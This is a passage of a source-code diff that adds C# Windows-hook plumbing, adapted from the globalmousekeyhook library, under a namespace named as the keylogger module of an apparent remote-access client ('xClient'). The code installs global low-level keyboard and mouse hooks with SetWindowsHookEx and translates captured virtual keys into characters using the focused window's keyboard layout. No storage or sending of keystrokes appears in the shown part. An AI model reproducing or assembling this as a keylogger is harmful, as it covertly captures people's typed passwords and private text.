internal static extern IntPtr GetModuleHandle(string lpModuleName);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,70 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace xClient.Core.Keylogger.WinApi
|
||||
{
|
||||
/// <summary>
|
||||
/// The AppMouseStruct structure contains information about a application-level mouse input event.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// See full documentation at http://globalmousekeyhook.codeplex.com/wikipage?title=MouseStruct
|
||||
/// </remarks>
|
||||
[StructLayout(LayoutKind.Explicit)]
|
||||
internal struct AppMouseStruct
|
||||
{
|
||||
/// <summary>
|
||||
/// Specifies a Point structure that contains the X- and Y-coordinates of the cursor, in screen coordinates.
|
||||
/// </summary>
|
||||
[FieldOffset(0x00)] public Point Point;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies information associated with the message.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// The possible values are:
|
||||
/// <list type="bullet">
|
||||
/// <item>
|
||||
/// <description>0 - No Information</description>
|
||||
/// </item>
|
||||
/// <item>
|
||||
/// <description>1 - X-Button1 Click</description>
|
||||
/// </item>
|
||||
/// <item>
|
||||
/// <description>2 - X-Button2 Click</description>
|
||||
/// </item>
|
||||
/// <item>
|
||||
/// <description>120 - Mouse Scroll Away from User</description>
|
||||
/// </item>
|
||||
/// <item>
|
||||
/// <description>-120 - Mouse Scroll Toward User</description>
|
||||
/// </item>
|
||||
/// </list>
|
||||
/// </remarks>
|
||||
#if IS_X64
|
||||
[FieldOffset(0x22)]
|
||||
#else
|
||||
[FieldOffset(0x16)]
|
||||
#endif
|
||||
public Int16 MouseData;
|
||||
|
||||
/// <summary>
|
||||
/// Converts the current <see cref="AppMouseStruct" /> into a <see cref="MouseStruct" />.
|
||||
/// </summary>
|
||||
/// <returns></returns>
|
||||
/// <remarks>
|
||||
/// The AppMouseStruct does not have a timestamp, thus one is generated at the time of this call.
|
||||
/// </remarks>
|
||||
public MouseStruct ToMouseStruct()
|
||||
{
|
||||
MouseStruct tmp = new MouseStruct();
|
||||
tmp.Point = Point;
|
||||
tmp.MouseData = MouseData;
|
||||
tmp.Timestamp = Environment.TickCount;
|
||||
return tmp;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,30 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
|
||||
namespace xClient.Core.Keylogger.WinApi
|
||||
{
|
||||
internal struct CallbackData
|
||||
{
|
||||
private readonly IntPtr m_LParam;
|
||||
private readonly IntPtr m_WParam;
|
||||
|
||||
public CallbackData(IntPtr wParam, IntPtr lParam)
|
||||
{
|
||||
m_WParam = wParam;
|
||||
m_LParam = lParam;
|
||||
}
|
||||
|
||||
public IntPtr WParam
|
||||
{
|
||||
get { return m_WParam; }
|
||||
}
|
||||
|
||||
public IntPtr LParam
|
||||
{
|
||||
get { return m_LParam; }
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,101 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
using System.ComponentModel;
|
||||
using System.Diagnostics;
|
||||
using System.Runtime.InteropServices;
|
||||
using xClient.Core.Keylogger.Implementation;
|
||||
|
||||
namespace xClient.Core.Keylogger.WinApi
|
||||
{
|
||||
internal static class HookHelper
|
||||
{
|
||||
public static HookResult HookAppMouse(Callback callback)
|
||||
{
|
||||
return HookApp(HookIds.WH_MOUSE, callback);
|
||||
}
|
||||
|
||||
public static HookResult HookAppKeyboard(Callback callback)
|
||||
{
|
||||
return HookApp(HookIds.WH_KEYBOARD, callback);
|
||||
}
|
||||
|
||||
public static HookResult HookGlobalMouse(Callback callback)
|
||||
{
|
||||
return HookGlobal(HookIds.WH_MOUSE_LL, callback);
|
||||
}
|
||||
|
||||
public static HookResult HookGlobalKeyboard(Callback callback)
|
||||
{
|
||||
return HookGlobal(HookIds.WH_KEYBOARD_LL, callback);
|
||||
}
|
||||
|
||||
private static HookResult HookApp(int hookId, Callback callback)
|
||||
{
|
||||
HookProcedure hookProcedure = (code, param, lParam) => HookProcedure(code, param, lParam, callback);
|
||||
|
||||
var hookHandle = HookNativeMethods.SetWindowsHookEx(
|
||||
hookId,
|
||||
hookProcedure,
|
||||
IntPtr.Zero,
|
||||
ThreadNativeMethods.GetCurrentThreadId());
|
||||
|
||||
if (hookHandle.IsInvalid)
|
||||
{
|
||||
ThrowLastUnmanagedErrorAsException();
|
||||
}
|
||||
|
||||
return new HookResult(hookHandle, hookProcedure);
|
||||
}
|
||||
|
||||
private static HookResult HookGlobal(int hookId, Callback callback)
|
||||
{
|
||||
HookProcedure hookProcedure = (code, param, lParam) => HookProcedure(code, param, lParam, callback);
|
||||
|
||||
var hookHandle = HookNativeMethods.SetWindowsHookEx(
|
||||
hookId,
|
||||
hookProcedure,
|
||||
Process.GetCurrentProcess().MainModule.BaseAddress,
|
||||
0);
|
||||
|
||||
if (hookHandle.IsInvalid)
|
||||
{
|
||||
ThrowLastUnmanagedErrorAsException();
|
||||
}
|
||||
|
||||
return new HookResult(hookHandle, hookProcedure);
|
||||
}
|
||||
|
||||
private static IntPtr HookProcedure(int nCode, IntPtr wParam, IntPtr lParam, Callback callback)
|
||||
{
|
||||
var passThrough = nCode != 0;
|
||||
if (passThrough)
|
||||
{
|
||||
return CallNextHookEx(nCode, wParam, lParam);
|
||||
}
|
||||
|
||||
var callbackData = new CallbackData(wParam, lParam);
|
||||
var continueProcessing = callback(callbackData);
|
||||
|
||||
if (!continueProcessing)
|
||||
{
|
||||
return new IntPtr(-1);
|
||||
}
|
||||
|
||||
return CallNextHookEx(nCode, wParam, lParam);
|
||||
}
|
||||
|
||||
private static IntPtr CallNextHookEx(int nCode, IntPtr wParam, IntPtr lParam)
|
||||
{
|
||||
return HookNativeMethods.CallNextHookEx(IntPtr.Zero, nCode, wParam, lParam);
|
||||
}
|
||||
|
||||
private static void ThrowLastUnmanagedErrorAsException()
|
||||
{
|
||||
var errorCode = Marshal.GetLastWin32Error();
|
||||
throw new Win32Exception(errorCode);
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,30 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
namespace xClient.Core.Keylogger.WinApi
|
||||
{
|
||||
internal static class HookIds
|
||||
{
|
||||
/// <summary>
|
||||
/// Installs a hook procedure that monitors mouse messages. For more information, see the MouseProc hook procedure.
|
||||
/// </summary>
|
||||
internal const int WH_MOUSE = 7;
|
||||
|
||||
/// <summary>
|
||||
/// Installs a hook procedure that monitors keystroke messages. For more information, see the KeyboardProc hook
|
||||
/// procedure.
|
||||
/// </summary>
|
||||
internal const int WH_KEYBOARD = 2;
|
||||
|
||||
/// <summary>
|
||||
/// Windows NT/2000/XP/Vista/7: Installs a hook procedure that monitors low-level mouse input events.
|
||||
/// </summary>
|
||||
internal const int WH_MOUSE_LL = 14;
|
||||
|
||||
/// <summary>
|
||||
/// Windows NT/2000/XP/Vista/7: Installs a hook procedure that monitors low-level keyboard input events.
|
||||
/// </summary>
|
||||
internal const int WH_KEYBOARD_LL = 13;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,89 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace xClient.Core.Keylogger.WinApi
|
||||
{
|
||||
internal static class HookNativeMethods
|
||||
{
|
||||
/// <summary>
|
||||
/// The CallNextHookEx function passes the hook information to the next hook procedure in the current hook chain.
|
||||
/// A hook procedure can call this function either before or after processing the hook information.
|
||||
/// </summary>
|
||||
/// <param name="idHook">This parameter is ignored.</param>
|
||||
/// <param name="nCode">[in] Specifies the hook code passed to the current hook procedure.</param>
|
||||
/// <param name="wParam">[in] Specifies the wParam value passed to the current hook procedure.</param>
|
||||
/// <param name="lParam">[in] Specifies the lParam value passed to the current hook procedure.</param>
|
||||
/// <returns>This value is returned by the next hook procedure in the chain.</returns>
|
||||
/// <remarks>
|
||||
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp
|
||||
/// </remarks>
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto,
|
||||
CallingConvention = CallingConvention.StdCall)]
|
||||
internal static extern IntPtr CallNextHookEx(
|
||||
IntPtr idHook,
|
||||
int nCode,
|
||||
IntPtr wParam,
|
||||
IntPtr lParam);
|
||||
|
||||
/// <summary>
|
||||
/// The SetWindowsHookEx function installs an application-defined hook procedure into a hook chain.
|
||||
/// You would install a hook procedure to monitor the system for certain types of events. These events
|
||||
/// are associated either with a specific thread or with all threads in the same desktop as the calling thread.
|
||||
/// </summary>
|
||||
/// <param name="idHook">
|
||||
/// [in] Specifies the type of hook procedure to be installed. This parameter can be one of the following values.
|
||||
/// </param>
|
||||
/// <param name="lpfn">
|
||||
/// [in] Pointer to the hook procedure. If the dwThreadId parameter is zero or specifies the identifier of a
|
||||
/// thread created by a different process, the lpfn parameter must point to a hook procedure in a dynamic-link
|
||||
/// library (DLL). Otherwise, lpfn can point to a hook procedure in the code associated with the current process.
|
||||
/// </param>
|
||||
/// <param name="hMod">
|
||||
/// [in] Handle to the DLL containing the hook procedure pointed to by the lpfn parameter.
|
||||
/// The hMod parameter must be set to NULL if the dwThreadId parameter specifies a thread created by
|
||||
/// the current process and if the hook procedure is within the code associated with the current process.
|
||||
/// </param>
|
||||
/// <param name="dwThreadId">
|
||||
/// [in] Specifies the identifier of the thread with which the hook procedure is to be associated.
|
||||
/// If this parameter is zero, the hook procedure is associated with all existing threads running in the
|
||||
/// same desktop as the calling thread.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// If the function succeeds, the return value is the handle to the hook procedure.
|
||||
/// If the function fails, the return value is NULL. To get extended error information, call GetLastError.
|
||||
/// </returns>
|
||||
/// <remarks>
|
||||
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp
|
||||
/// </remarks>
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto,
|
||||
CallingConvention = CallingConvention.StdCall, SetLastError = true)]
|
||||
internal static extern HookProcedureHandle SetWindowsHookEx(
|
||||
int idHook,
|
||||
HookProcedure lpfn,
|
||||
IntPtr hMod,
|
||||
int dwThreadId);
|
||||
|
||||
/// <summary>
|
||||
/// The UnhookWindowsHookEx function removes a hook procedure installed in a hook chain by the SetWindowsHookEx
|
||||
/// function.
|
||||
/// </summary>
|
||||
/// <param name="idHook">
|
||||
/// [in] Handle to the hook to be removed. This parameter is a hook handle obtained by a previous call to
|
||||
/// SetWindowsHookEx.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// If the function succeeds, the return value is nonzero.
|
||||
/// If the function fails, the return value is zero. To get extended error information, call GetLastError.
|
||||
/// </returns>
|
||||
/// <remarks>
|
||||
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/setwindowshookex.asp
|
||||
/// </remarks>
|
||||
[DllImport("user32.dll", CharSet = CharSet.Auto,
|
||||
CallingConvention = CallingConvention.StdCall, SetLastError = true)]
|
||||
internal static extern int UnhookWindowsHookEx(IntPtr idHook);
|
||||
}
|
||||
}
|
|
@ -0,0 +1,40 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
|
||||
namespace xClient.Core.Keylogger.WinApi
|
||||
{
|
||||
/// <summary>
|
||||
/// The CallWndProc hook procedure is an application-defined or library-defined callback
|
||||
/// function used with the SetWindowsHookEx function. The HOOKPROC type defines a pointer
|
||||
/// to this callback function. CallWndProc is a placeholder for the application-defined
|
||||
/// or library-defined function name.
|
||||
/// </summary>
|
||||
/// <param name="nCode">
|
||||
/// [in] Specifies whether the hook procedure must process the message.
|
||||
/// If nCode is HC_ACTION, the hook procedure must process the message.
|
||||
/// If nCode is less than zero, the hook procedure must pass the message to the
|
||||
/// CallNextHookEx function without further processing and must return the
|
||||
/// value returned by CallNextHookEx.
|
||||
/// </param>
|
||||
/// <param name="wParam">
|
||||
/// [in] Specifies whether the message was sent by the current thread.
|
||||
/// If the message was sent by the current thread, it is nonzero; otherwise, it is zero.
|
||||
/// </param>
|
||||
/// <param name="lParam">
|
||||
/// [in] Pointer to a CWPSTRUCT structure that contains details about the message.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// If nCode is less than zero, the hook procedure must return the value returned by CallNextHookEx.
|
||||
/// If nCode is greater than or equal to zero, it is highly recommended that you call CallNextHookEx
|
||||
/// and return the value it returns; otherwise, other applications that have installed WH_CALLWNDPROC
|
||||
/// hooks will not receive hook notifications and may behave incorrectly as a result. If the hook
|
||||
/// procedure does not call CallNextHookEx, the return value should be zero.
|
||||
/// </returns>
|
||||
/// <remarks>
|
||||
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookfunctions/callwndproc.asp
|
||||
/// </remarks>
|
||||
public delegate IntPtr HookProcedure(int nCode, IntPtr wParam, IntPtr lParam);
|
||||
}
|
|
@ -0,0 +1,31 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System.Windows.Forms;
|
||||
using Microsoft.Win32.SafeHandles;
|
||||
|
||||
namespace xClient.Core.Keylogger.WinApi
|
||||
{
|
||||
internal class HookProcedureHandle : SafeHandleZeroOrMinusOneIsInvalid
|
||||
{
|
||||
private static bool _closing;
|
||||
|
||||
static HookProcedureHandle()
|
||||
{
|
||||
Application.ApplicationExit += (sender, e) => { _closing = true; };
|
||||
}
|
||||
|
||||
public HookProcedureHandle()
|
||||
: base(true)
|
||||
{
|
||||
}
|
||||
|
||||
protected override bool ReleaseHandle()
|
||||
{
|
||||
//NOTE Calling Unhook during processexit causes deley
|
||||
if (_closing) return true;
|
||||
return HookNativeMethods.UnhookWindowsHookEx(handle) != 0;
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,35 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
|
||||
namespace xClient.Core.Keylogger.WinApi
|
||||
{
|
||||
internal class HookResult : IDisposable
|
||||
{
|
||||
private readonly HookProcedureHandle m_Handle;
|
||||
private readonly HookProcedure m_Procedure;
|
||||
|
||||
public HookResult(HookProcedureHandle handle, HookProcedure procedure)
|
||||
{
|
||||
m_Handle = handle;
|
||||
m_Procedure = procedure;
|
||||
}
|
||||
|
||||
public HookProcedureHandle Handle
|
||||
{
|
||||
get { return m_Handle; }
|
||||
}
|
||||
|
||||
public HookProcedure Procedure
|
||||
{
|
||||
get { return m_Procedure; }
|
||||
}
|
||||
|
||||
public void Dispose()
|
||||
{
|
||||
m_Handle.Dispose();
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,43 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System.Runtime.InteropServices;
|
||||
|
||||
namespace xClient.Core.Keylogger.WinApi
|
||||
{
|
||||
/// <summary>
|
||||
/// The KeyboardHookStruct structure contains information about a low-level keyboard input event.
|
||||
/// </summary>
|
||||
/// <remarks>
|
||||
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/windowing/hooks/hookreference/hookstructures/cwpstruct.asp
|
||||
/// </remarks>
|
||||
[StructLayout(LayoutKind.Sequential)]
|
||||
internal struct KeyboardHookStruct
|
||||
{
|
||||
/// <summary>
|
||||
/// Specifies a virtual-key code. The code must be a value in the range 1 to 254.
|
||||
/// </summary>
|
||||
public int VirtualKeyCode;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies a hardware scan code for the key.
|
||||
/// </summary>
|
||||
public int ScanCode;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the extended-key flag, event-injected flag, context code, and transition-state flag.
|
||||
/// </summary>
|
||||
public int Flags;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies the Time stamp for this message.
|
||||
/// </summary>
|
||||
public int Time;
|
||||
|
||||
/// <summary>
|
||||
/// Specifies extra information associated with the message.
|
||||
/// </summary>
|
||||
public int ExtraInfo;
|
||||
}
|
||||
}
|
|
@ -0,0 +1,352 @@
|
|||
// This code is distributed under MIT license.
|
||||
// Copyright (c) 2015 George Mamaladze
|
||||
// See license.txt or http://opensource.org/licenses/mit-license.php
|
||||
|
||||
using System;
|
||||
using System.Runtime.InteropServices;
|
||||
using System.Text;
|
||||
using System.Windows.Forms;
|
||||
using xClient.Core.Keylogger.Implementation;
|
||||
|
||||
namespace xClient.Core.Keylogger.WinApi
|
||||
{
|
||||
internal static class KeyboardNativeMethods
|
||||
{
|
||||
//values from Winuser.h in Microsoft SDK.
|
||||
public const byte VK_SHIFT = 0x10;
|
||||
public const byte VK_CAPITAL = 0x14;
|
||||
public const byte VK_NUMLOCK = 0x90;
|
||||
public const byte VK_LSHIFT = 0xA0;
|
||||
public const byte VK_RSHIFT = 0xA1;
|
||||
public const byte VK_LCONTROL = 0xA2;
|
||||
public const byte VK_RCONTROL = 0xA3;
|
||||
public const byte VK_LMENU = 0xA4;
|
||||
public const byte VK_RMENU = 0xA5;
|
||||
public const byte VK_LWIN = 0x5B;
|
||||
public const byte VK_RWIN = 0x5C;
|
||||
public const byte VK_SCROLL = 0x91;
|
||||
public const byte VK_INSERT = 0x2D;
|
||||
//may be possible to use these aggregates instead of L and R separately (untested)
|
||||
public const byte VK_CONTROL = 0x11;
|
||||
public const byte VK_MENU = 0x12;
|
||||
public const byte VK_PACKET = 0xE7;
|
||||
//Used to pass Unicode characters as if they were keystrokes. The VK_PACKET key is the low word of a 32-bit Virtual Key value used for non-keyboard input methods
|
||||
|
||||
/// <summary>
|
||||
/// Translates a virtual key to its character equivalent using the current keyboard layout without knowing the
|
||||
/// scancode in advance.
|
||||
/// </summary>
|
||||
/// <param name="virtualKeyCode"></param>
|
||||
/// <param name="fuState"></param>
|
||||
/// <param name="chars"></param>
|
||||
/// <returns></returns>
|
||||
internal static bool TryGetCharFromKeyboardState(int virtualKeyCode, int fuState, out char[] chars)
|
||||
{
|
||||
var dwhkl = GetActiveKeyboard();
|
||||
int scanCode = MapVirtualKeyEx(virtualKeyCode, (int) MapType.MAPVK_VK_TO_VSC, dwhkl);
|
||||
return TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, dwhkl, out chars);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Translates a virtual key to its character equivalent using the current keyboard layout
|
||||
/// </summary>
|
||||
/// <param name="virtualKeyCode"></param>
|
||||
/// <param name="scanCode"></param>
|
||||
/// <param name="fuState"></param>
|
||||
/// <param name="chars"></param>
|
||||
/// <returns></returns>
|
||||
internal static bool TryGetCharFromKeyboardState(int virtualKeyCode, int scanCode, int fuState, out char[] chars)
|
||||
{
|
||||
var dwhkl = GetActiveKeyboard(); //get the active keyboard layout
|
||||
return TryGetCharFromKeyboardState(virtualKeyCode, scanCode, fuState, dwhkl, out chars);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Translates a virtual key to its character equivalent using a specified keyboard layout
|
||||
/// </summary>
|
||||
/// <param name="virtualKeyCode"></param>
|
||||
/// <param name="scanCode"></param>
|
||||
/// <param name="fuState"></param>
|
||||
/// <param name="dwhkl"></param>
|
||||
/// <param name="chars"></param>
|
||||
/// <returns></returns>
|
||||
internal static bool TryGetCharFromKeyboardState(int virtualKeyCode, int scanCode, int fuState, IntPtr dwhkl, out char[] chars)
|
||||
{
|
||||
StringBuilder pwszBuff = new StringBuilder(64);
|
||||
KeyboardState keyboardState = KeyboardState.GetCurrent();
|
||||
byte[] currentKeyboardState = keyboardState.GetNativeState();
|
||||
|
||||
var relevantChars = ToUnicodeEx(virtualKeyCode, scanCode, currentKeyboardState, pwszBuff, pwszBuff.Capacity, fuState, dwhkl);
|
||||
|
||||
|
||||
switch (relevantChars)
|
||||
{
|
||||
case -1:
|
||||
ClearKeyboardBuffer(virtualKeyCode, scanCode, dwhkl);
|
||||
chars = null;
|
||||
return false;
|
||||
|
||||
case 0:
|
||||
chars = null;
|
||||
return false;
|
||||
|
||||
case 1:
|
||||
chars = new[] {pwszBuff[0]};
|
||||
break;
|
||||
|
||||
// Two or more (only two of them is relevant)
|
||||
default:
|
||||
chars = new[] { pwszBuff[0], pwszBuff[1] };
|
||||
break;
|
||||
}
|
||||
|
||||
|
||||
|
||||
var isDownShift = keyboardState.IsDown(Keys.ShiftKey);
|
||||
var isToggledCapsLock = keyboardState.IsToggled(Keys.CapsLock);
|
||||
|
||||
for (int i = 0; i < chars.Length; i++)
|
||||
{
|
||||
var ch = chars[i];
|
||||
if ((isToggledCapsLock ^ isDownShift) && Char.IsLetter(ch))
|
||||
{
|
||||
chars[i] = Char.ToUpper(ch);
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
|
||||
private static void ClearKeyboardBuffer(int vk, int sc, IntPtr hkl)
|
||||
{
|
||||
var sb = new StringBuilder(10);
|
||||
|
||||
int rc;
|
||||
do
|
||||
{
|
||||
byte[] lpKeyStateNull = new Byte[255];
|
||||
rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl);
|
||||
} while (rc < 0);
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// Gets the input locale identifier for the active application's thread. Using this combined with the ToUnicodeEx and
|
||||
/// MapVirtualKeyEx enables Windows to properly translate keys based on the keyboard layout designated for the
|
||||
/// application.
|
||||
/// </summary>
|
||||
/// <returns>HKL</returns>
|
||||
private static IntPtr GetActiveKeyboard()
|
||||
{
|
||||
IntPtr hActiveWnd = ThreadNativeMethods.GetForegroundWindow(); //handle to focused window
|
||||
int dwProcessId;
|
||||
int hCurrentWnd = ThreadNativeMethods.GetWindowThreadProcessId(hActiveWnd, out dwProcessId);
|
||||
//thread of focused window
|
||||
return GetKeyboardLayout(hCurrentWnd); //get the layout identifier for the thread whose window is focused
|
||||
}
|
||||
|
||||
/// <summary>
|
||||
/// The ToAscii function translates the specified virtual-key code and keyboard
|
||||
/// state to the corresponding character or characters. The function translates the code
|
||||
/// using the input language and physical keyboard layout identified by the keyboard layout handle.
|
||||
/// </summary>
|
||||
/// <param name="uVirtKey">
|
||||
/// [in] Specifies the virtual-key code to be translated.
|
||||
/// </param>
|
||||
/// <param name="uScanCode">
|
||||
/// [in] Specifies the hardware scan code of the key to be translated.
|
||||
/// The high-order bit of this value is set if the key is up (not pressed).
|
||||
/// </param>
|
||||
/// <param name="lpbKeyState">
|
||||
/// [in] Pointer to a 256-byte array that contains the current keyboard state.
|
||||
/// Each element (byte) in the array contains the state of one key.
|
||||
/// If the high-order bit of a byte is set, the key is down (pressed).
|
||||
/// The low bit, if set, indicates that the key is toggled on. In this function,
|
||||
/// only the toggle bit of the CAPS LOCK key is relevant. The toggle state
|
||||
/// of the NUM LOCK and SCROLL LOCK keys is ignored.
|
||||
/// </param>
|
||||
/// <param name="lpwTransKey">
|
||||
/// [out] Pointer to the buffer that receives the translated character or characters.
|
||||
/// </param>
|
||||
/// <param name="fuState">
|
||||
/// [in] Specifies whether a menu is active. This parameter must be 1 if a menu is active, or 0 otherwise.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// If the specified key is a dead key, the return value is negative. Otherwise, it is one of the following values.
|
||||
/// Value Meaning
|
||||
/// 0 The specified virtual key has no translation for the current state of the keyboard.
|
||||
/// 1 One character was copied to the buffer.
|
||||
/// 2 Two characters were copied to the buffer. This usually happens when a dead-key character
|
||||
/// (accent or diacritic) stored in the keyboard layout cannot be composed with the specified
|
||||
/// virtual key to form a single character.
|
||||
/// </returns>
|
||||
/// <remarks>
|
||||
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/userinput/keyboardinput/keyboardinputreference/keyboardinputfunctions/toascii.asp
|
||||
/// </remarks>
|
||||
[Obsolete("Use ToUnicodeEx instead")]
|
||||
[DllImport("user32")]
|
||||
public static extern int ToAscii(
|
||||
int uVirtKey,
|
||||
int uScanCode,
|
||||
byte[] lpbKeyState,
|
||||
byte[] lpwTransKey,
|
||||
int fuState);
|
||||
|
||||
/// <summary>
|
||||
/// Translates the specified virtual-key code and keyboard state to the corresponding Unicode character or characters.
|
||||
/// </summary>
|
||||
/// <param name="wVirtKey">[in] The virtual-key code to be translated.</param>
|
||||
/// <param name="wScanCode">
|
||||
/// [in] The hardware scan code of the key to be translated. The high-order bit of this value is
|
||||
/// set if the key is up.
|
||||
/// </param>
|
||||
/// <param name="lpKeyState">
|
||||
/// [in, optional] A pointer to a 256-byte array that contains the current keyboard state. Each
|
||||
/// element (byte) in the array contains the state of one key. If the high-order bit of a byte is set, the key is down.
|
||||
/// </param>
|
||||
/// <param name="pwszBuff">
|
||||
/// [out] The buffer that receives the translated Unicode character or characters. However, this
|
||||
/// buffer may be returned without being null-terminated even though the variable name suggests that it is
|
||||
/// null-terminated.
|
||||
/// </param>
|
||||
/// <param name="cchBuff">[in] The size, in characters, of the buffer pointed to by the pwszBuff parameter.</param>
|
||||
/// <param name="wFlags">
|
||||
/// [in] The behavior of the function. If bit 0 is set, a menu is active. Bits 1 through 31 are
|
||||
/// reserved.
|
||||
/// </param>
|
||||
/// <param name="dwhkl">The input locale identifier used to translate the specified code.</param>
|
||||
/// <returns>
|
||||
/// -1 <= return <= n
|
||||
/// <list type="bullet">
|
||||
/// <item>
|
||||
/// -1 = The specified virtual key is a dead-key character (accent or diacritic). This value is returned
|
||||
/// regardless of the keyboard layout, even if several characters have been typed and are stored in the
|
||||
/// keyboard state. If possible, even with Unicode keyboard layouts, the function has written a spacing version
|
||||
/// of the dead-key character to the buffer specified by pwszBuff. For example, the function writes the
|
||||
/// character SPACING ACUTE (0x00B4), rather than the character NON_SPACING ACUTE (0x0301).
|
||||
/// </item>
|
||||
/// <item>
|
||||
/// 0 = The specified virtual key has no translation for the current state of the keyboard. Nothing was
|
||||
/// written to the buffer specified by pwszBuff.
|
||||
/// </item>
|
||||
/// <item> 1 = One character was written to the buffer specified by pwszBuff.</item>
|
||||
/// <item>
|
||||
/// n = Two or more characters were written to the buffer specified by pwszBuff. The most common cause
|
||||
/// for this is that a dead-key character (accent or diacritic) stored in the keyboard layout could not be
|
||||
/// combined with the specified virtual key to form a single character. However, the buffer may contain more
|
||||
/// characters than the return value specifies. When this happens, any extra characters are invalid and should
|
||||
/// be ignored.
|
||||
/// </item>
|
||||
/// </list>
|
||||
/// </returns>
|
||||
[DllImport("user32")]
|
||||
public static extern int ToUnicodeEx(int wVirtKey,
|
||||
int wScanCode,
|
||||
byte[] lpKeyState,
|
||||
[Out, MarshalAs(UnmanagedType.LPWStr, SizeConst = 64)] StringBuilder pwszBuff,
|
||||
int cchBuff,
|
||||
int wFlags,
|
||||
IntPtr dwhkl);
|
||||
|
||||
/// <summary>
|
||||
/// The GetKeyboardState function copies the status of the 256 virtual keys to the
|
||||
/// specified buffer.
|
||||
/// </summary>
|
||||
/// <param name="pbKeyState">
|
||||
/// [in] Pointer to a 256-byte array that contains keyboard key states.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// If the function succeeds, the return value is nonzero.
|
||||
/// If the function fails, the return value is zero. To get extended error information, call GetLastError.
|
||||
/// </returns>
|
||||
/// <remarks>
|
||||
/// http://msdn.microsoft.com/library/default.asp?url=/library/en-us/winui/winui/windowsuserinterface/userinput/keyboardinput/keyboardinputreference/keyboardinputfunctions/toascii.asp
|
||||
/// </remarks>
|
||||
[DllImport("user32")]
|
||||
public static extern int GetKeyboardState(byte[] pbKeyState);
|
||||
|
||||
/// <summary>
|
||||
/// The GetKeyState function retrieves the status of the specified virtual key. The status specifies whether the key is
|
||||
/// up, down, or toggled
|
||||
/// (on, off—alternating each time the key is pressed).
|
||||
/// </summary>
|
||||
/// <param name="vKey">
|
||||
/// [in] Specifies a virtual key. If the desired virtual key is a letter or digit (A through Z, a through z, or 0
|
||||
/// through 9), nVirtKey must be set to the ASCII value of that character. For other keys, it must be a virtual-key
|
||||
/// code.
|
||||
/// </param>
|
||||
/// <returns>
|
||||
/// The return value specifies the status of the specified virtual key, as follows:
|
||||
/// If the high-order bit is 1, the key is down; otherwise, it is up.
|
||||
/// If the low-order bit is 1, the key is toggled. A key, such as the CAPS LOCK key, is toggled if it is turned on. The
|
||||
/// key is off and untoggled if the low-order bit is 0. A toggle key's indicator light (if any) on the keyboard will be
|
||||
/// on when the key is toggled, and off when the key is untoggled.
|
||||
/// </returns>
|
||||
/// <remarks>http://msdn.microsoft.com/en-us/library/ms646301.aspx</remarks>
|
||||
